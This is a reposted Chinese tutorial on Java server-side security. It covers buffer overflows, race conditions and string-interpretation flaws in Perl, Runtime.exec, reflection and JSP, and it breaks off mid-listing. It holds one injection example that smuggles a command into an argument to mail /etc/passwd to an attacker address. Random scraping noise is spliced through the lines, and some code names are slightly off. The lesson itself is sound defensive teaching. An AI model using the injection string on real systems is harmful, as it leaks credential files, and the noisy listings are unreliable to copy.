Java服务器端编程安全必读(转贴)
上一篇 / 下一篇 2007-01-17 08:50:18 / 个人分类:安全测试
&]w7X]4J0 一、概述51Testing软件测试网/N0h:l2NA'`
v t
编写安全的Internet应用并不是一件轻而易举的事情:只要看看各个专业公告板就可以
s+rL4t4rX`,|.d0找到连续不断的安全漏洞报告。你如何保证自己的Internet应用不象其他人的应用那样51Testing软件测试网)cq5iv`#i
满是漏洞?你如何保证自己的名字不会出现在令人难堪的重大安全事故报道中?51Testing软件测试网|/}Fdg:M m3C
如果你使用Java Servlet、JavaServer Pages(JSP)或者EJB,许多难以解决的问题都51Testing软件测试网Xru)DJ&KZp9yO
已经事先解决。当然,漏洞仍有可能出现。下面我们就来看看这些漏洞是什么,以及为51Testing软件测试网
R,\RSU I
什么Java程序员不必担心部分C和Perl程序员必须面对的问题。
.T2f,K!?A `0C程序员对安全漏洞应该已经很熟悉,但象OpenBSD之类的工程提供了处理此类问题的安
Q.af$|c7{]0全系统。Java语言处理这类问题的经验要比C少20年,但另一方面,Java作为一种客户
Wb,\8DO8L)I0端编程语言诞生,客户端对安全的要求比服务器端苛刻得多。它意味着Java的发展有着51Testing软件测试网|l"J^W3r
一个稳固的安全性基础。
%rXS)W*P0Java原先的定位目标是浏览器。然而,浏览器本身所带的Java虚拟机虽然很不错,但却
&h){p6B zx*e0f
\0并不完美。Sun的《Chronology of security-related bugs and issues》总结了运行
9~2U?.X!V1y3ga0时环境的漏洞发现历史。我们知道,当Java用作服务器端编程语言时,这些漏洞不可能
n2mnO`*^ |W0被用作攻击手段。但即使Java作为客户端编程语言,重大安全问题的数量也从1996年的
|%|xS(}_d*VkU06个(其中3个是相当严重的问题)降低到2000年的1个。不过,这种安全性的相对提高
'K3^7f2g$h6p9J0并不意味着Java作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的攻51Testing软件测试网Q$j[K)[
I4v"c
击手段越来越受到限制。那么,究竟有哪些地方容易受到攻击,其他编程语言又是如何51Testing软件测试网1L\,T L2Y1mk
面对类似问题的呢?51Testing软件测试网nlVrQe!Ch
二、缓存溢出
7M2CGiM1f0i
o:_-Ht'X0在C程序中,缓存溢出是最常见的安全隐患。缓存溢出在用户输入超过已分配内存空间51Testing软件测试网)Db%kE
p0bF
(专供用户输入使用)时出现。缓存溢出可能成为导致应用被覆盖的关键因素。C程序
u#w&Qn/L/N~3~ m0很容易出现缓存溢出,但Java程序几乎不可能出现缓存溢出。
#V$w*l U/mU0从输入流读取输入数据的C代码通常如下所示:51Testing软件测试网CI[
{X
P)s
char buffer[1000];
MY&W,kexEO0int len = read(buffer);51Testing软件测试网1F'x0{O:Y t2o
p/z9h"DQ*g0由于缓存的大小在读入数据之前确定,系统要检查为输入保留的缓存是否足够是很困难51Testing软件测试网P;S[I"F)L;q/WZ
的。缓存溢出使得用户能够覆盖程序数据结构的关键部分,从而带来了安全上的隐患。
*uE
GZao*u-GT0有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序。51Testing软件测试网;\_5i-j+G"Hc(_)[
在Java中,我们一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java51Testing软件测试网/Ye*eV)?D
代码如下所示:
2qrM"BH8E4Y0String buffer = in.readLine();
在这里,“缓存”的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后51Testing软件测试网Yc
yG&F
不能改变,缓存溢出也就不可能出现。退一步说,即使用字符数组替代字符串作为缓存51Testing软件测试网2ugu+Fpj/Tn
,Java也不象C那样容易产生可被攻击者利用的安全漏洞。例如,下面的Java代码将产51Testing软件测试网#oK,r?.['PI;q
生溢出:51Testing软件测试网'` r6{N
\9W'ai5P o$AO
char[] bad = new char[6];51Testing软件测试网+R:ZO#K2t1D
bad[7] = 50;这段代码总是抛出一个java.lang.ArrayOutOfBoundsException异常,而
+ZaqM9l-m0该异常可以由程序自行捕获:51Testing软件测试网&IYg)Zi
try {
j+E O%UC5m'AUU0char[] bad = new char[6];
#bF dg0zrN!lirw0bad[7] = 50;51Testing软件测试网8a5l/Zw
Gyj
}
JU/VF'G0catch (ArrayOutOfBoundsException ex) {51Testing软件测试网ln*Ub%Rz5W@8T/W
... }51Testing软件测试网y8R&wn'@ oX.F
}Vx6a)f:j0
,i
`#gj,T^/X&a0这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是
C3@kJo@B'Z0得到ArrayOutOfBoundsException异常,而Java运行时底层环境却能够保护自身免受任
*NZ;\Eup0何侵害。一般而言,用Java字符串类型处理字符串时,我们无需担心字符串的51Testing软件测试网q0f Ik2U ^cG*Q
ArrayOutOfBoundsExceptions异常,因此它是一种较为理想的选择。
WXO/\4T5P0Java编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使得51Testing软件测试网]m"G}4Y9l;iGf
Java程序员摆脱了最危险的编程漏洞。51Testing软件测试网:k2V!V8~#D%K~
三、竞争状态51Testing软件测试网H6|7?,|)ry
竞争状态即Race Condition,它是第二类最常见的应用安全漏洞。在创建(更改)资源
1^QX{0O4Me!}0到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会出
L1`xE;fe4P0现竞争状态。这里的关键问题在于:如果一个任务由两个必不可少的步骤构成,不管你
1`A
x0p+Cz'sW0多么想要让这两个步骤一个紧接着另一个执行,操作系统并不保证这一点。例如,在数
(L"~ x/ixW)uMw0据库中,事务机制使得两个独立的事件“原子化”。换言之,一个进程创建文件,然后
c8}$D%C&XA+?5@&U2o
K0把这个文件的权限改成禁止常规访问;与此同时,另外一个没有特权的进程可以处理该51Testing软件测试网b&@8`E*^ q a,VDX:Q3s^
文件,欺骗有特权的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进51Testing软件测试网'w!K6[1R9i8qwWVfd
行访问。51Testing软件测试网
JftG B'A
一般地,在标准Unix和NT环境下,一些高优先级的进程能够把自己插入到任务的多个步
Mr/fgQBM~:b@0骤之间,但这样的进程在Java服务器上是不存在的;同时,用纯Java编写的程序也不可51Testing软件测试网!B,z` o |;s%p
j
K*gR$l
能修改文件的许可权限。因此,大多数由文件访问导致的竞争状态在Java中不会出现,51Testing软件测试网;P.t2Gh s.x!l"h
但这并不意味着Java完全地摆脱了这个问题,只不过是问题转到了虚拟机上。51Testing软件测试网a*vu(}I.@6B.o-}
我们来看看其他各种开发平台如何处理这个问题。在Unix中,我们必须确保默认文件创51Testing软件测试网6j bo.Fd)uF"G
建模式是安全的,比如在服务器启动之前执行“umask 200”这个命令。有关umask的更51Testing软件测试网s9i8S bU,e,gH i#pj
多信息,请在Unix系统的命令行上执行“man umask”查看umask的man文档。
Dl0ZQ{(w-s;nl0在NT环境中,我们必须操作ACL(访问控制表,Access Control List)的安全标记,保51Testing软件测试网:EvdhP!i9_$tj
护要在它下面创建文件的目录。NT的新文件一般从它的父目录继承访问许可。请参见
'L{
j$d
wed)\0NT文档了解更多信息。
+i1h,P4p}ET!g0Java中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生
k
] xakeVg0成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散
htKI XC{.x0列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其51Testing软件测试网%? `:JD!wt$?
他用户使用,则把它放入散列表以防止其他用户使用。代码如Listing 1所示:
hL Vo x h9Uh0(Listing 1)
4o{!h8I]/WS0// 保存已登录用户的ID
7k(Gs+K#L0Hashtable hash;51Testing软件测试网 Q7iEkf rT8k
// 随机数字生成器51Testing软件测试网1}6I W%U }.h
Random rand;
D$[NInW0// 生成一个随机数字
f}2q yzb0Integer id = new Integer(rand.nextInt());51Testing软件测试网 o(o)dO}T~p
while (hash.containsKey(id))51Testing软件测试网
_e|"io
{
G*y;zE7wQ-h;S0id = new Integer(rand.nextInt());51Testing软件测试网"Z6S/M5l l8ub$P{W,v
}51Testing软件测试网H8|&AM2S3v#m/x
// 为当前用户保留该ID
n2y.ws5Y&D8x
u0hash.put(id, data);
z q:Lw2C's0Listing 1的代码可能带来一个严重的问题:如果有两个线程执行Listing 1的代码,其
7?3|E[6gE(t6mdO0中一个线程在hash.put(...)这行代码之前被重新调度,此时同一个随机ID就有可能被51Testing软件测试网RNH:c2vv)x
使用两次。在Java中,我们有两种方法解决这个问题。首先,Listing 1的代码可以改
gI$r1iTTz0写成Listing 2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,
%lN!o,X1xi:T0避免竞争状态的出现。第二,如果前面的代码是EJB服务器的一部分,我们最好有一个
%c!hRe'q
rv6P)nA0利用EJB服务器线程控制机制的唯一ID服务。51Testing软件测试网3aO4T5}4i8R
t
(Listing 2)51Testing软件测试网2p,~H)]a5E
synchronized(hash)51Testing软件测试网-j!a"{a5z6i
{51Testing软件测试网W$AK X y
hk
// 生成一个唯一的随机数字51Testing软件测试网eG {G)`
Integer id =51Testing软件测试网(y5VdP%z
new Integer(rand.nextInt());51Testing软件测试网O%C
M+Hfr2Hj`0J
while (hash.containsKey(id))51Testing软件测试网"mub$P(N
{
&J5Wmd u&@b0id = new Integer(rand.nextInt());51Testing软件测试网 J7X?@s(s
}51Testing软件测试网)we'N4U.J;}b`0s
// 为当前用户保留该ID51Testing软件测试网tij/pqpH
hash.put(id, data);
9}@Li4zqM0}51Testing软件测试网wYR3w:[6j.R"w
1?7J'I e]YNz'l051Testing软件测试网S*XIm,dY"w
L
四、字符串解释执行51Testing软件测试网Llr$R&U
e
在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、51Testing软件测试网4LO
z'qT7I
多余的动作。下面的Perl代码就是一个例子:
!Osc bU0$data = "mail body";
%x(X1f,UW*n4g0system("/usr/sbin/sendmail -t $1 < $data");
#p f-Po\lGD0显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以51Testing软件测试网Fi RKf.|f*@)o6n
按照如下方式调用:51Testing软件测试网Da-V-f
d%H4R ~
perl scrīpt.plhonest@true.com51Testing软件测试网UX[M7VKbPy+d?
它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单51Testing软件测试网S5Bs#Wh(XV*o~
,但我们却可以按照如下方式进行攻击:51Testing软件测试网;F&k;T6~hUG+R5O
perl scrīpt.plhonest@true.com;mail
MV'g0?5] JN,f0cheat@liarandthief.com< /etc/passwd
51Testing软件测试网@N:^eIi;m5tJ
这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了
8r n|9cK1~.n}.F0cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带
.O
P&D8| _V&f$W0来重大的威胁。
0t4[
SD*G eC0Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外
s3s[+jl0部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就51Testing软件测试网4pZ]'W1a5JO-C?
是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
7Q2~%rwf\}#\/|'g0Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");51Testing软件测试网gJ:fmyk` j#C(Yr
/b*~&T%i$E0事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为
_)u&g0cRpQ&k/J0Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
V1{'W p'J+{*p0Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");51Testing软件测试网 nx@@uQ:b
c8_z,S
H*M
q9G
b*Y0但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规51Testing软件测试网 q
n(zW] x.z9DB&r
的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可51Testing软件测试网"CnSA.n"}*s7a
移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例
Ia8J}pm;zM-|0子,其他许多情形更复杂、更隐蔽。
5h#lFu0^#Z0让我们来考虑一下Java的映像API(Reflection API)。Java映像API允许我们在运行时51Testing软件测试网K0?/H!Gq!S2u:ygq
决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为51Testing软件测试网m3PXCol1g_
系统的安全弱点。例如,下面的代码就有可能产生这类问题:51Testing软件测试网\:[P8crqOaP
Method m = bean.getClass().getMethod(action, new Class[] {});
%hK8x.D(A\"u0m.invoke(bean, new Object[] {});
"~^[ i-Ah5Z%Q:n^051Testing软件测试网O9B+j-O-B b
如果“action”的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在51Testing软件测试网HxunVS
一些令人奇怪的地方出现——或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像51Testing软件测试网vo Cen |+Tz,D N
API实现下面的功能:51Testing软件测试网XzS1W3M!D.Z
<jsp:setProperty name="bean" property="*" />
这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,51Testing软件测试网d/sI&?;msY9O n3pT
对于Listing 3的Bean和Listing 4的JSP页面:
$^
D'z}z:n)D0(Listing 3)
9^3|%Th!J@0public class Example51Testing软件测试网0r+c b&SE
v*L:y$S6w!t
{
QZ UO#Q3O0public void setName(String name) {
Ue}Gb|)N0this.name = name; }51Testing软件测试网P%V7K,\5k7Vl}
public String getName() { return name; }51Testing软件测试网x
FOZ1@:K
public void setPassword(String pass) {
*PvrL1|5[({&`0this. pass = pass; }51Testing软件测试网;g#XJEu[d`5_8Ybm
public String getPassword() { return
z"W|4i`nP0pass; }51Testing软件测试网 l!Q,@K8oV'l
private String name;51Testing软件测试网'Yp}'kphGCq
private String pass;
[B3v.~\_&e@.v;kL0}51Testing软件测试网#K2r:dF?
(Listing 4)51Testing软件测试网m0t%{:QC'P.u
<%@ page import="Example" %>51Testing软件测试网Vu SN+`"w5x
<jsp:useBean id="example" scope="page"51Testing软件测试网~Q9n2X]G7[
class="Example" />
7_'O-b%i.?${7U E0<jsp:setProperty name="example" property="*" />
M3h|4X]S:Y6F:xJA,n0<html>
g0B-y_ma&W0<head>51Testing软件测试网2X*k x'Q9]"D}!K2y
<title>Bean示例</title>
q8~$b kdA;D*p(Eb0</head>51Testing软件测试网v)c2u4W"w
w r
<body>51Testing软件测试网A2o:o0g)lA\0h}
<form>
)C'g(IiS0<input type="text" name="name" size="30">51Testing软件测试网,IJn O8Bd}H8Z
<input type="submit" value="Submit">